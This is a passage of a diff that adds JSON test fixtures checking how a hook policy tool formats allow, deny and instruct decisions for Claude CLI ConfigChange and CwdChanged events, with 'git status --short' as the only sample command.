"stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/ConfigChange/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/ConfigChange/deny__tool-present__one-policy.json new file mode 100644 index 00000000..a87fdb09 --- /dev/null +++ b/__tests__/parity/fixtures/claude/ConfigChange/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/ConfigChange/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/ConfigChange/deny__tool-present__two-policies.json new file mode 100644 index 00000000..fc5ac820 --- /dev/null +++ b/__tests__/parity/fixtures/claude/ConfigChange/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/ConfigChange/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/ConfigChange/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..34310157 --- /dev/null +++ b/__tests__/parity/fixtures/claude/ConfigChange/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"ConfigChange\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/ConfigChange/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/ConfigChange/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..6c80e748 --- /dev/null +++ b/__tests__/parity/fixtures/claude/ConfigChange/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"ConfigChange\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/ConfigChange/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/ConfigChange/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..50bed276 --- /dev/null +++ b/__tests__/parity/fixtures/claude/ConfigChange/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"ConfigChange\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/ConfigChange/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/ConfigChange/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..6db4e3ed --- /dev/null +++ b/__tests__/parity/fixtures/claude/ConfigChange/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"ConfigChange\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/CwdChanged/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/CwdChanged/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..83a18e88 --- /dev/null +++ b/__tests__/parity/fixtures/claude/CwdChanged/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/CwdChanged/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/CwdChanged/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..074938d0 --- /dev/null +++ b/__tests__/parity/fixtures/claude/CwdChanged/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/CwdChanged/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/CwdChanged/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..66d3cc02 --- /dev/null +++ b/__tests__/parity/fixtures/claude/CwdChanged/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/CwdChanged/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/CwdChanged/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..dd5ff01b --- /dev/null +++ b/__tests__/parity/fixtures/claude/CwdChanged/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/CwdChanged/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/CwdChanged/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..4e3e7b13 --- /dev/null +++ b/__tests__/parity/fixtures/claude/CwdChanged/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/CwdChanged/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/CwdChanged/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..6d7f6c8e --- /dev/null +++ b/__tests__/parity/fixtures/claude/CwdChanged/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/CwdChanged/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/CwdChanged/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..4eef3361 --- /dev/null +++ b/__tests__/parity/fixtures/claude/CwdChanged/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/CwdChanged/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/CwdChanged/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..5a2397cf --- /dev/null +++ b/__tests__/parity/fixtures/claude/CwdChanged/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/CwdChanged/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/CwdChanged/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..bb8e6108 --- /dev/null +++ b/__tests__/parity/fixtures/claude/CwdChanged/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/CwdChanged/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/CwdChanged/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..5a600968 --- /dev/null +++ b/__tests__/parity/fixtures/claude/CwdChanged/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/CwdChanged/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/CwdChanged/deny__tool-present__one-policy.json new file mode 100644 index 00000000..92117376 --- /dev/null +++ b/__tests__/parity/fixtures/claude/CwdChanged/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/CwdChanged/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/CwdChanged/deny__tool-present__two-policies.json new file mode 100644 index 00000000..c5bad171 --- /dev/null +++ b/__tests__/parity/fixtures/claude/CwdChanged/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/CwdChanged/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/CwdChanged/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..e7fa90da --- /dev/null +++ b/__tests__/parity/fixtures/claude/CwdChanged/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"CwdChanged\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/CwdChanged/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/CwdChanged/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..75a72d47 --- /dev/null +++ b/__tests__/parity/fixtures/claude/CwdChanged/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": 